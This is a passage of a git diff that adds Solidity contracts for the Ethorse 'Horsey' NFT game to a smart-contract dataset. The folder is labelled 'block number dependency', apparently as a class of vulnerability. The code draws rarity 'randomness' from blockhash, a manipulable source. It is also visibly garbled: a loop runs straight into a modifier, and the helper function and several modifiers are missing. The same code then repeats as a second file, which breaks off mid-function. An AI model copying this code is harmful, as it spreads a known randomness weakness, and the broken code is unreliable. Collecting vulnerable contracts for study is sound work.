whenNotPaused public { + paused = true; + emit Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract ERC721Basic { + function balanceOf(address _owner) public view returns (uint256 _balance); + function ownerOf(uint256 _tokenId) public view returns (address _owner); + function exists(uint256 _tokenId) public view returns (bool _exists); + + function approve(address _to, uint256 _tokenId) public; + function getApproved(uint256 _tokenId) public view returns (address _operator); + + function transferFrom(address _from, address _to, uint256 _tokenId) public; +} + + +contract HorseyExchange is Pausable { + + using SafeMath for uint256; + + event HorseyDeposit(uint256 tokenId, uint256 price); + event SaleCanceled(uint256 tokenId); + event HorseyPurchased(uint256 tokenId, address newOwner, uint256 totalToPay); + + + uint256 public marketMakerFee = 3; + + + uint256 collectedFees = 0; + + + ERC721Basic public token; + + + struct SaleData { + uint256 price; + address owner; + } + + + mapping (uint256 => SaleData) market; + + + mapping (address => uint256[]) userBarn; + + + constructor() Pausable() public { + } + + + function setStables(address _token) external + onlyOwner() + { + require(address(_token) != 0,"Address of token is zero"); + token = ERC721Basic(_token); + } + + + function setMarketFees(uint256 fees) external + onlyOwner() + { + marketMakerFee = fees; + } + + + function getTokensOnSale(address user) external view returns(uint256[]) { + return userBarn[user]; + } + + + function getTokenPrice(uint256 tokenId) public view + isOnMarket(tokenId) returns (uint256) { + return market[tokenId].price + (market[tokenId].price / 100 * marketMakerFee); + } + + + function depositToExchange(uint256 tokenId, uint256 price) external + whenNotPaused() + isTokenOwner(tokenId) + nonZeroPrice(price) + tokenAvailable() { + require(token.getApproved(tokenId) == address(this),"Exchange is not allowed to transfer"); + + token.transferFrom(msg.sender, address(this), tokenId); + + + market[tokenId] = SaleData(price,msg.sender); + + + userBarn[msg.sender].push(tokenId); + + emit HorseyDeposit(tokenId, price); + } + + + function cancelSale(uint256 tokenId) external + whenNotPaused() + originalOwnerOf(tokenId) + tokenAvailable() returns (bool) { + + token.transferFrom(address(this),msg.sender,tokenId); + + + delete market[tokenId]; + + + _removeTokenFromBarn(tokenId, msg.sender); + + emit SaleCanceled(tokenId); + + + + return userBarn[msg.sender].length > 0; + } + + + function purchaseToken(uint256 tokenId) external payable + whenNotPaused() + isOnMarket(tokenId) + tokenAvailable() + notOriginalOwnerOf(tokenId) + { + + uint256 totalToPay = getTokenPrice(tokenId); + require(msg.value >= totalToPay, "Not paying enough"); + + + SaleData memory sale = market[tokenId]; + + + collectedFees += totalToPay - sale.price; + + + sale.owner.transfer(sale.price); + + + _removeTokenFromBarn(tokenId, sale.owner); + + + delete market[tokenId]; + + + + token.transferFrom(address(this), msg.sender, tokenId); + + + if(msg.value > totalToPay) + { + msg.sender.transfer(msg.value.sub(totalToPay)); + } + + emit HorseyPurchased(tokenId, msg.sender, totalToPay); + } + + + function withdraw() external + onlyOwner() + { + assert(collectedFees <= address(this).balance); + owner.transfer(collectedFees); + collectedFees = 0; + } + + + function _removeTokenFromBarn(uint tokenId, address barnAddress) internal { + uint256[] storage barnArray = userBarn[barnAddress]; + require(barnArray.length > 0,"No tokens to remove"); + int index = _indexOf(tokenId, barnArray); + require(index >= 0, "Token not found in barn"); + + + for (uint256 i = uint256(index); i 0,"Price is zero"); + _; + } + + + modifier tokenAvailable(){ + require(address(token) != 0,"Token address not set"); + _; + } +} + + + + +contract EthorseRace { + + + struct chronus_info { + bool betting_open; + bool race_start; + bool race_end; + bool voided_bet; + uint32 starting_time; + uint32 betting_duration; + uint32 race_duration; + uint32 voided_timestamp; + } + + address public owner; + + + chronus_info public chronus; + + + mapping (bytes32 => bool) public winner_horse; + + + function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint); +} + + +contract EthorseHelpers { + + + bytes32[] public all_horses = [bytes32("BTC"),bytes32("ETH"),bytes32("LTC")]; + mapping(address => bool) public legitRaces; + bool onlyLegit = false; + + + function _addHorse(bytes32 newHorse) internal { + all_horses.push(newHorse); + } + + function _addLegitRace(address newRace) internal + { + legitRaces[newRace] = true; + if(!onlyLegit) + onlyLegit = true; + } + + function getall_horsesCount() public view returns(uint) { + return all_horses.length; + } + + + function _isWinnerOf(address raceAddress, address eth_address) internal view returns (bool,bytes32) + { + + EthorseRace race = EthorseRace(raceAddress); + + + if(onlyLegit) + require(legitRaces[raceAddress],"not legit race"); + + bool voided_bet; + bool race_end; + (,,race_end,voided_bet,,,,) = race.chronus(); + + + if(voided_bet || !race_end) + return (false,bytes32(0)); + + + bytes32 horse; + bool found = false; + uint256 arrayLength = all_horses.length; + + + for(uint256 i = 0; i < arrayLength; i++) + { + if(race.winner_horse(all_horses[i])) { + horse = all_horses[i]; + found = true; + break; + } + } + + if(!found) + return (false,bytes32(0)); + + + uint256 bet_amount = 0; + if(eth_address != address(0)) { + (,,,, bet_amount) = race.getCoinIndex(horse, eth_address); + } + + + return (bet_amount > 0, horse); + } +} + + + +contract RoyalStablesInterface { + + struct Horsey { + address race; + bytes32 dna; + uint8 feedingCounter; + uint8 tier; + } + + mapping(uint256 => Horsey) public horseys; + mapping(address => uint32) public carrot_credits; + mapping(uint256 => string) public names; + address public master; + + function getOwnedTokens(address eth_address) public view returns (uint256[]); + function storeName(uint256 tokenId, string newName) public; + function storeCarrotsCredit(address client, uint32 amount) public; + function storeHorsey(address client, uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorsey(uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorseyDna(uint256 tokenId, bytes32 dna) public; + function modifyHorseyFeedingCounter(uint256 tokenId, uint8 feedingCounter) public; + function modifyHorseyTier(uint256 tokenId, uint8 tier) public; + function unstoreHorsey(uint256 tokenId) public; + function ownerOf(uint256 tokenId) public returns (address); +} + + +contract HorseyToken is EthorseHelpers,Pausable { + using SafeMath for uint256; + + + event Claimed(address raceAddress, address eth_address, uint256 tokenId); + + + event Feeding(uint256 tokenId); + + + event ReceivedCarrot(uint256 tokenId, bytes32 newDna); + + + event FeedingFailed(uint256 tokenId); + + + event HorseyRenamed(uint256 tokenId, string newName); + + + event HorseyFreed(uint256 tokenId); + + + RoyalStablesInterface public stables; + + + uint8 public carrotsMultiplier = 1; + + + uint8 public rarityMultiplier = 1; + + + uint256 public claimingFee = 0.000 ether; + + + struct FeedingData { + uint256 blockNumber; + uint256 horsey; + } + + + mapping(address => FeedingData) public pendingFeedings; + + + uint256 public renamingCostsPerChar = 0.001 ether; + + + constructor(address stablesAddress) + EthorseHelpers() + Pausable() public { + stables = RoyalStablesInterface(stablesAddress); + } + + + function setRarityMultiplier(uint8 newRarityMultiplier) external + onlyOwner() { + rarityMultiplier = newRarityMultiplier; + } + + + function setCarrotsMultiplier(uint8 newCarrotsMultiplier) external + onlyOwner() { + carrotsMultiplier = newCarrotsMultiplier; + } + + + function setRenamingCosts(uint256 newRenamingCost) external + onlyOwner() { + renamingCostsPerChar = newRenamingCost; + } + + + function setClaimingCosts(uint256 newClaimingFee) external + onlyOwner() { + claimingFee = newClaimingFee; + } + + + function addLegitRaceAddress(address newAddress) external + onlyOwner() { + _addLegitRace(newAddress); + } + + + function withdraw() external + onlyOwner() { + owner.transfer(address(this).balance); + } + + + + function addHorseIndex(bytes32 newHorse) external + onlyOwner() { + _addHorse(newHorse); + } + + + function getOwnedTokens(address eth_address) public view returns (uint256[]) { + return stables.getOwnedTokens(eth_address); + } + + + function can_claim(address raceAddress, address eth_address) public view returns (bool) { + bool res; + (res,) = _isWinnerOf(raceAddress, eth_address); + return res; + } + + + function claim(address raceAddress) external payable + costs(claimingFee) + whenNotPaused() + { + + bytes32 winner; + bool res; + (res,winner) = _isWinnerOf(raceAddress, address(0)); + require(winner != bytes32(0),"Winner is zero"); + require(res,"can_claim return false"); + + uint256 id = _generate_special_horsey(raceAddress, msg.sender, winner); + emit Claimed(raceAddress, msg.sender, id); + } + + + function renameHorsey(uint256 tokenId, string newName) external + whenNotPaused() + onlyOwnerOf(tokenId) + costs(renamingCostsPerChar * bytes(newName).length) + payable { + uint256 renamingFee = renamingCostsPerChar * bytes(newName).length; + + if(msg.value > renamingFee) + { + msg.sender.transfer(msg.value.sub(renamingFee)); + } + + stables.storeName(tokenId,newName); + emit HorseyRenamed(tokenId,newName); + } + + + function freeForCarrots(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) { + require(pendingFeedings[msg.sender].horsey != tokenId,""); + + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) + uint32(feedingCounter * carrotsMultiplier)); + stables.unstoreHorsey(tokenId); + emit HorseyFreed(tokenId); + } + + + function getCarrotCredits() external view returns (uint32) { + return stables.carrot_credits(msg.sender); + } + + + function getHorsey(uint256 tokenId) public view returns (address, bytes32, uint8, string) { + RoyalStablesInterface.Horsey memory temp; + (temp.race,temp.dna,temp.feedingCounter,temp.tier) = stables.horseys(tokenId); + return (temp.race,temp.dna,temp.feedingCounter,stables.names(tokenId)); + } + + + function feed(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) + carrotsMeetLevel(tokenId) + noFeedingInProgress() + { + pendingFeedings[msg.sender] = FeedingData(block.number,tokenId); + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) - uint32(feedingCounter)); + emit Feeding(tokenId); + } + + + function stopFeeding() external + feedingInProgress() returns (bool) { + uint256 blockNumber = pendingFeedings[msg.sender].blockNumber; + uint256 tokenId = pendingFeedings[msg.sender].horsey; + + require(block.number - blockNumber >= 1,"feeding and stop feeding are in same block"); + + delete pendingFeedings[msg.sender]; + + + + if(block.number - blockNumber > 255) { + + + emit FeedingFailed(tokenId); + return false; + } + + + if(stables.ownerOf(tokenId) != msg.sender) { + + + emit FeedingFailed(tokenId); + return false; + } + + + _feed(tokenId, blockhash(blockNumber)); + bytes32 dna; + (,dna,,) = stables.horseys(tokenId); + emit ReceivedCarrot(tokenId, dna); + return true; + } + + + function() external payable { + revert("Not accepting donations"); + } + + + function _feed(uint256 tokenId, bytes32 blockHash) internal { + + uint8 tier; + uint8 feedingCounter; + (,,feedingCounter,tier) = stables.horseys(tokenId); + uint256 probabilityByRarity = 10 ** (uint256(tier).add(1)); + uint256 randNum = uint256(keccak256(abi.encodePacked(tokenId, blockHash))) % probabilityByRarity; + + + if(randNum <= (feedingCounter * rarityMultiplier)){ + _increaseRarity(tokenId, blockHash); + } + + + + if(feedingCounter < 255) { + stables.modifyHorseyFeedingCounter(tokenId,feedingCounter+1); + } + } + + + function _makeSpecialId(address race, address sender, bytes32 coinIndex) internal pure returns (uint256) { + return uint256(keccak256(abi.encodePacked(race, sender, coinIndex))); + } + + + function _generate_special_horsey(address race, address eth_address, bytes32 coinIndex) internal returns (uint256) { + uint256 id = _makeSpecialId(race, eth_address, coinIndex); + + bytes32 dna = _shiftRight(keccak256(abi.encodePacked(race, coinIndex)),16); + + stables.storeHorsey(eth_address,id,race,dna,1,0); + return id; + } + + + function _increaseRarity(uint256 tokenId, bytes32 blockHash) private { + uint8 tier; + bytes32 dna; + (,dna,,tier) = stables.horseys(tokenId); + if(tier < 255) + stables.modifyHorseyTier(tokenId,tier+1); + uint256 random = uint256(keccak256(abi.encodePacked(tokenId, blockHash))); + + bytes32 rarityMask = _shiftLeft(bytes32(1), (random % 16 + 240)); + bytes32 newdna = dna | rarityMask; + stables.modifyHorseyDna(tokenId,newdna); + } + + + function _shiftLeft(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)*(2 ** n)); + } + + + function _shiftRight(bytes32 data, uint n) internal pure returns (bytes32) { + return bytes32(uint256(data)/(2 ** n)); + } + + + modifier carrotsMeetLevel(uint256 tokenId){ + uint256 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + require(feedingCounter <= stables.carrot_credits(msg.sender),"Not enough carrots"); + _; + } + + + modifier costs(uint256 amount) { + require(msg.value >= amount,"Not enough funds"); + _; + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier noFeedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber == 0,"Already feeding"); + _; + } + + + modifier feedingInProgress() { + + require(pendingFeedings[msg.sender].blockNumber != 0,"No pending feeding"); + _; + } + + + modifier onlyOwnerOf(uint256 tokenId) { + require(stables.ownerOf(tokenId) == msg.sender, "Caller is not owner of this token"); + _; + } +} + + + + + +contract HorseyPilot { + + + event NewProposal(uint8 methodId, uint parameter, address proposer); + + + event ProposalPassed(uint8 methodId, uint parameter, address proposer); + + + + uint8 constant votingThreshold = 2; + + + + uint256 constant proposalLife = 7 days; + + + + uint256 constant proposalCooldown = 1 days; + + + uint256 cooldownStart; + + + address public jokerAddress; + address public knightAddress; + address public paladinAddress; + + + address[3] public voters; + + + uint8 constant public knightEquity = 40; + uint8 constant public paladinEquity = 10; + + + address public exchangeAddress; + address public tokenAddress; + + + mapping(address => uint) internal _cBalance; + + + struct Proposal{ + address proposer; + uint256 timestamp; + uint256 parameter; + uint8 methodId; + address[] yay; + address[] nay; + } + + + Proposal public currentProposal; + + + bool public proposalInProgress = false; + + + uint256 public toBeDistributed; + + + bool deployed = false; + + + constructor( + address _jokerAddress, + address _knightAddress, + address _paladinAddress, + address[3] _voters + ) public { + jokerAddress = _jokerAddress; + knightAddress = _knightAddress; + paladinAddress = _paladinAddress; + + for(uint i = 0; i < 3; i++) { + voters[i] = _voters[i]; + } + + + cooldownStart = block.timestamp - proposalCooldown; + } + + + function deployChildren(address stablesAddress) external { + require(!deployed,"already deployed"); + + exchangeAddress = new HorseyExchange(); + tokenAddress = new HorseyToken(stablesAddress); + + + HorseyExchange(exchangeAddress).setStables(stablesAddress); + + deployed = true; + } + + + function transferJokerOwnership(address newJoker) external + validAddress(newJoker) { + require(jokerAddress == msg.sender,"Not right role"); + _moveBalance(newJoker); + jokerAddress = newJoker; + } + + + function transferKnightOwnership(address newKnight) external + validAddress(newKnight) { + require(knightAddress == msg.sender,"Not right role"); + _moveBalance(newKnight); + knightAddress = newKnight; + } + + + function transferPaladinOwnership(address newPaladin) external + validAddress(newPaladin) { + require(paladinAddress == msg.sender,"Not right role"); + _moveBalance(newPaladin); + paladinAddress = newPaladin; + } + + + function withdrawCeo(address destination) external + onlyCLevelAccess() + validAddress(destination) { + + + if(toBeDistributed > 0){ + _updateDistribution(); + } + + + uint256 balance = _cBalance[msg.sender]; + + + if(balance > 0 && (address(this).balance >= balance)) { + destination.transfer(balance); + _cBalance[msg.sender] = 0; + } + } + + + function syncFunds() external { + uint256 prevBalance = address(this).balance; + HorseyToken(tokenAddress).withdraw(); + HorseyExchange(exchangeAddress).withdraw(); + uint256 newBalance = address(this).balance; + + toBeDistributed = toBeDistributed + (newBalance - prevBalance); + } + + + function getNobleBalance() external view + onlyCLevelAccess() returns (uint256) { + return _cBalance[msg.sender]; + } + + + function makeProposal( uint8 methodId, uint256 parameter ) external + onlyCLevelAccess() + proposalAvailable() + cooledDown() + { + currentProposal.timestamp = block.timestamp; + currentProposal.parameter = parameter; + currentProposal.methodId = methodId; + currentProposal.proposer = msg.sender; + delete currentProposal.yay; + delete currentProposal.nay; + proposalInProgress = true; + + emit NewProposal(methodId,parameter,msg.sender); + } + + + function voteOnProposal(bool voteFor) external + proposalPending() + onlyVoters() + notVoted() { + + require((block.timestamp - currentProposal.timestamp) <= proposalLife); + if(voteFor) + { + currentProposal.yay.push(msg.sender); + + if( currentProposal.yay.length >= votingThreshold ) + { + _doProposal(); + proposalInProgress = false; + + return; + } + + } else { + currentProposal.nay.push(msg.sender); + + if( currentProposal.nay.length >= votingThreshold ) + { + proposalInProgress = false; + cooldownStart = block.timestamp; + return; + } + } + } + + + function _moveBalance(address newAddress) internal + validAddress(newAddress) { + require(newAddress != msg.sender); + _cBalance[newAddress] = _cBalance[msg.sender]; + _cBalance[msg.sender] = 0; + } + + + function _updateDistribution() internal { + require(toBeDistributed != 0,"nothing to distribute"); + uint256 knightPayday = toBeDistributed / 100 * knightEquity; + uint256 paladinPayday = toBeDistributed / 100 * paladinEquity; + + + uint256 jokerPayday = toBeDistributed - knightPayday - paladinPayday; + + _cBalance[jokerAddress] = _cBalance[jokerAddress] + jokerPayday; + _cBalance[knightAddress] = _cBalance[knightAddress] + knightPayday; + _cBalance[paladinAddress] = _cBalance[paladinAddress] + paladinPayday; + + toBeDistributed = 0; + } + + + function _doProposal() internal { + + if( currentProposal.methodId == 0 ) HorseyToken(tokenAddress).setRenamingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 1 ) HorseyExchange(exchangeAddress).setMarketFees(currentProposal.parameter); + + + if( currentProposal.methodId == 2 ) HorseyToken(tokenAddress).addLegitRaceAddress(address(currentProposal.parameter)); + + + if( currentProposal.methodId == 3 ) HorseyToken(tokenAddress).addHorseIndex(bytes32(currentProposal.parameter)); + + + if( currentProposal.methodId == 4 ) { + if(currentProposal.parameter == 0) { + HorseyExchange(exchangeAddress).unpause(); + HorseyToken(tokenAddress).unpause(); + } else { + HorseyExchange(exchangeAddress).pause(); + HorseyToken(tokenAddress).pause(); + } + } + + + if( currentProposal.methodId == 5 ) HorseyToken(tokenAddress).setClaimingCosts(currentProposal.parameter); + + + if( currentProposal.methodId == 8 ){ + HorseyToken(tokenAddress).setCarrotsMultiplier(uint8(currentProposal.parameter)); + } + + + if( currentProposal.methodId == 9 ){ + HorseyToken(tokenAddress).setRarityMultiplier(uint8(currentProposal.parameter)); + } + + emit ProposalPassed(currentProposal.methodId,currentProposal.parameter,currentProposal.proposer); + } + + + modifier validAddress(address addr) { + require(addr != address(0),"Address is zero"); + _; + } + + + modifier onlyCLevelAccess() { + require((jokerAddress == msg.sender) || (knightAddress == msg.sender) || (paladinAddress == msg.sender),"not c level"); + _; + } + + + + modifier proposalAvailable(){ + require(((!proposalInProgress) || ((block.timestamp - currentProposal.timestamp) > proposalLife)),"proposal already pending"); + _; + } + + + + modifier cooledDown( ){ + if(msg.sender == currentProposal.proposer && (block.timestamp - cooldownStart < 1 days)){ + revert("Cool down period not passed yet"); + } + _; + } + + + modifier proposalPending() { + require(proposalInProgress,"no proposal pending"); + _; + } + + + modifier notVoted() { + uint256 length = currentProposal.yay.length; + for(uint i = 0; i < length; i++) { + if(currentProposal.yay[i] == msg.sender) { + revert("Already voted"); + } + } + + length = currentProposal.nay.length; + for(i = 0; i < length; i++) { + if(currentProposal.nay[i] == msg.sender) { + revert("Already voted"); + } + } + _; + } + + + modifier onlyVoters() { + bool found = false; + uint256 length = voters.length; + for(uint i = 0; i < length; i++) { + if(voters[i] == msg.sender) { + found = true; + break; + } + } + if(!found) { + revert("not a voter"); + } + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/217.sol b/smart_contract_dataset/block number dependency/217.sol new file mode 100644 index 0000000000000000000000000000000000000000..462ea58a9c82e13216377bc30944a39c509f7ec8 --- /dev/null +++ b/smart_contract_dataset/block number dependency/217.sol @@ -0,0 +1,1133 @@ +pragma solidity ^0.4.24; + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract ERC721Basic { + function balanceOf(address _owner) public view returns (uint256 _balance); + function ownerOf(uint256 _tokenId) public view returns (address _owner); + function exists(uint256 _tokenId) public view returns (bool _exists); + + function approve(address _to, uint256 _tokenId) public; + function getApproved(uint256 _tokenId) public view returns (address _operator); + + function transferFrom(address _from, address _to, uint256 _tokenId) public; +} + + +contract HorseyExchange is Pausable { + + using SafeMath for uint256; + + event HorseyDeposit(uint256 tokenId, uint256 price); + event SaleCanceled(uint256 tokenId); + event HorseyPurchased(uint256 tokenId, address newOwner, uint256 totalToPay); + + + uint256 public marketMakerFee = 3; + + + uint256 collectedFees = 0; + + + ERC721Basic public token; + + + struct SaleData { + uint256 price; + address owner; + } + + + mapping (uint256 => SaleData) market; + + + mapping (address => uint256[]) userBarn; + + + constructor() Pausable() public { + } + + + function setStables(address _token) external + onlyOwner() + { + require(address(_token) != 0,"Address of token is zero"); + token = ERC721Basic(_token); + } + + + function setMarketFees(uint256 fees) external + onlyOwner() + { + marketMakerFee = fees; + } + + + function getTokensOnSale(address user) external view returns(uint256[]) { + return userBarn[user]; + } + + + function getTokenPrice(uint256 tokenId) public view + isOnMarket(tokenId) returns (uint256) { + return market[tokenId].price + (market[tokenId].price / 100 * marketMakerFee); + } + + + function depositToExchange(uint256 tokenId, uint256 price) external + whenNotPaused() + isTokenOwner(tokenId) + nonZeroPrice(price) + tokenAvailable() { + require(token.getApproved(tokenId) == address(this),"Exchange is not allowed to transfer"); + + token.transferFrom(msg.sender, address(this), tokenId); + + + market[tokenId] = SaleData(price,msg.sender); + + + userBarn[msg.sender].push(tokenId); + + emit HorseyDeposit(tokenId, price); + } + + + function cancelSale(uint256 tokenId) external + whenNotPaused() + originalOwnerOf(tokenId) + tokenAvailable() returns (bool) { + + token.transferFrom(address(this),msg.sender,tokenId); + + + delete market[tokenId]; + + + _removeTokenFromBarn(tokenId, msg.sender); + + emit SaleCanceled(tokenId); + + + + return userBarn[msg.sender].length > 0; + } + + + function purchaseToken(uint256 tokenId) external payable + whenNotPaused() + isOnMarket(tokenId) + tokenAvailable() + notOriginalOwnerOf(tokenId) + { + + uint256 totalToPay = getTokenPrice(tokenId); + require(msg.value >= totalToPay, "Not paying enough"); + + + SaleData memory sale = market[tokenId]; + + + collectedFees += totalToPay - sale.price; + + + sale.owner.transfer(sale.price); + + + _removeTokenFromBarn(tokenId, sale.owner); + + + delete market[tokenId]; + + + + token.transferFrom(address(this), msg.sender, tokenId); + + + if(msg.value > totalToPay) + { + msg.sender.transfer(msg.value.sub(totalToPay)); + } + + emit HorseyPurchased(tokenId, msg.sender, totalToPay); + } + + + function withdraw() external + onlyOwner() + { + assert(collectedFees <= address(this).balance); + owner.transfer(collectedFees); + collectedFees = 0; + } + + + function _removeTokenFromBarn(uint tokenId, address barnAddress) internal { + uint256[] storage barnArray = userBarn[barnAddress]; + require(barnArray.length > 0,"No tokens to remove"); + int index = _indexOf(tokenId, barnArray); + require(index >= 0, "Token not found in barn"); + + + for (uint256 i = uint256(index); i 0,"Price is zero"); + _; + } + + + modifier tokenAvailable(){ + require(address(token) != 0,"Token address not set"); + _; + } +} + + + + +contract EthorseRace { + + + struct chronus_info { + bool betting_open; + bool race_start; + bool race_end; + bool voided_bet; + uint32 starting_time; + uint32 betting_duration; + uint32 race_duration; + uint32 voided_timestamp; + } + + address public owner; + + + chronus_info public chronus; + + + mapping (bytes32 => bool) public winner_horse; + + + function getCoinIndex(bytes32 index, address candidate) external constant returns (uint, uint, uint, bool, uint); +} + + +contract EthorseHelpers { + + + bytes32[] public all_horses = [bytes32("BTC"),bytes32("ETH"),bytes32("LTC")]; + mapping(address => bool) public legitRaces; + bool onlyLegit = false; + + + function _addHorse(bytes32 newHorse) internal { + all_horses.push(newHorse); + } + + function _addLegitRace(address newRace) internal + { + legitRaces[newRace] = true; + if(!onlyLegit) + onlyLegit = true; + } + + function getall_horsesCount() public view returns(uint) { + return all_horses.length; + } + + + function _isWinnerOf(address raceAddress, address eth_address) internal view returns (bool,bytes32) + { + + EthorseRace race = EthorseRace(raceAddress); + + + if(onlyLegit) + require(legitRaces[raceAddress],"not legit race"); + + bool voided_bet; + bool race_end; + (,,race_end,voided_bet,,,,) = race.chronus(); + + + if(voided_bet || !race_end) + return (false,bytes32(0)); + + + bytes32 horse; + bool found = false; + uint256 arrayLength = all_horses.length; + + + for(uint256 i = 0; i < arrayLength; i++) + { + if(race.winner_horse(all_horses[i])) { + horse = all_horses[i]; + found = true; + break; + } + } + + if(!found) + return (false,bytes32(0)); + + + uint256 bet_amount = 0; + if(eth_address != address(0)) { + (,,,, bet_amount) = race.getCoinIndex(horse, eth_address); + } + + + return (bet_amount > 0, horse); + } +} + + + +contract RoyalStablesInterface { + + struct Horsey { + address race; + bytes32 dna; + uint8 feedingCounter; + uint8 tier; + } + + mapping(uint256 => Horsey) public horseys; + mapping(address => uint32) public carrot_credits; + mapping(uint256 => string) public names; + address public master; + + function getOwnedTokens(address eth_address) public view returns (uint256[]); + function storeName(uint256 tokenId, string newName) public; + function storeCarrotsCredit(address client, uint32 amount) public; + function storeHorsey(address client, uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorsey(uint256 tokenId, address race, bytes32 dna, uint8 feedingCounter, uint8 tier) public; + function modifyHorseyDna(uint256 tokenId, bytes32 dna) public; + function modifyHorseyFeedingCounter(uint256 tokenId, uint8 feedingCounter) public; + function modifyHorseyTier(uint256 tokenId, uint8 tier) public; + function unstoreHorsey(uint256 tokenId) public; + function ownerOf(uint256 tokenId) public returns (address); +} + + +contract HorseyToken is EthorseHelpers,Pausable { + using SafeMath for uint256; + + + event Claimed(address raceAddress, address eth_address, uint256 tokenId); + + + event Feeding(uint256 tokenId); + + + event ReceivedCarrot(uint256 tokenId, bytes32 newDna); + + + event FeedingFailed(uint256 tokenId); + + + event HorseyRenamed(uint256 tokenId, string newName); + + + event HorseyFreed(uint256 tokenId); + + + RoyalStablesInterface public stables; + + + uint8 public carrotsMultiplier = 1; + + + uint8 public rarityMultiplier = 1; + + + uint256 public claimingFee = 0.000 ether; + + + struct FeedingData { + uint256 blockNumber; + uint256 horsey; + } + + + mapping(address => FeedingData) public pendingFeedings; + + + uint256 public renamingCostsPerChar = 0.001 ether; + + + constructor(address stablesAddress) + EthorseHelpers() + Pausable() public { + stables = RoyalStablesInterface(stablesAddress); + } + + + function setRarityMultiplier(uint8 newRarityMultiplier) external + onlyOwner() { + rarityMultiplier = newRarityMultiplier; + } + + + function setCarrotsMultiplier(uint8 newCarrotsMultiplier) external + onlyOwner() { + carrotsMultiplier = newCarrotsMultiplier; + } + + + function setRenamingCosts(uint256 newRenamingCost) external + onlyOwner() { + renamingCostsPerChar = newRenamingCost; + } + + + function setClaimingCosts(uint256 newClaimingFee) external + onlyOwner() { + claimingFee = newClaimingFee; + } + + + function addLegitRaceAddress(address newAddress) external + onlyOwner() { + _addLegitRace(newAddress); + } + + + function withdraw() external + onlyOwner() { + owner.transfer(address(this).balance); + } + + + + function addHorseIndex(bytes32 newHorse) external + onlyOwner() { + _addHorse(newHorse); + } + + + function getOwnedTokens(address eth_address) public view returns (uint256[]) { + return stables.getOwnedTokens(eth_address); + } + + + function can_claim(address raceAddress, address eth_address) public view returns (bool) { + bool res; + (res,) = _isWinnerOf(raceAddress, eth_address); + return res; + } + + + function claim(address raceAddress) external payable + costs(claimingFee) + whenNotPaused() + { + + bytes32 winner; + bool res; + (res,winner) = _isWinnerOf(raceAddress, address(0)); + require(winner != bytes32(0),"Winner is zero"); + require(res,"can_claim return false"); + + uint256 id = _generate_special_horsey(raceAddress, msg.sender, winner); + emit Claimed(raceAddress, msg.sender, id); + } + + + function renameHorsey(uint256 tokenId, string newName) external + whenNotPaused() + onlyOwnerOf(tokenId) + costs(renamingCostsPerChar * bytes(newName).length) + payable { + uint256 renamingFee = renamingCostsPerChar * bytes(newName).length; + + if(msg.value > renamingFee) + { + msg.sender.transfer(msg.value.sub(renamingFee)); + } + + stables.storeName(tokenId,newName); + emit HorseyRenamed(tokenId,newName); + } + + + function freeForCarrots(uint256 tokenId) external + whenNotPaused() + onlyOwnerOf(tokenId) { + require(pendingFeedings[msg.sender].horsey != tokenId,""); + + uint8 feedingCounter; + (,,feedingCounter,) = stables.horseys(tokenId); + stables.storeCarrotsCredit(msg.sender,stables.carrot_credits(msg.sender) + uint32(feedingCounter * carrotsMultiplier)); + stables.unstoreHorsey(tokenId); + emit HorseyFreed(tokenId); + } + + + function getCarrotCredits() external view returns (uint32) { + return stables.carrot_credits(msg.sender); + } + + + function getHorsey(uint256 tokenId) public view returns (address, bytes32, uint8, string) { + RoyalStablesInterface.Horsey memory temp; + (temp.race,temp.dna,temp.feedingCounter,temp.tier) = stables.horseys(tokenId); + return (temp.race,temp.dna,temp.feedingCounter,stables.names(tokenId)); + } + + + function feed(uint256 tokenId) external + 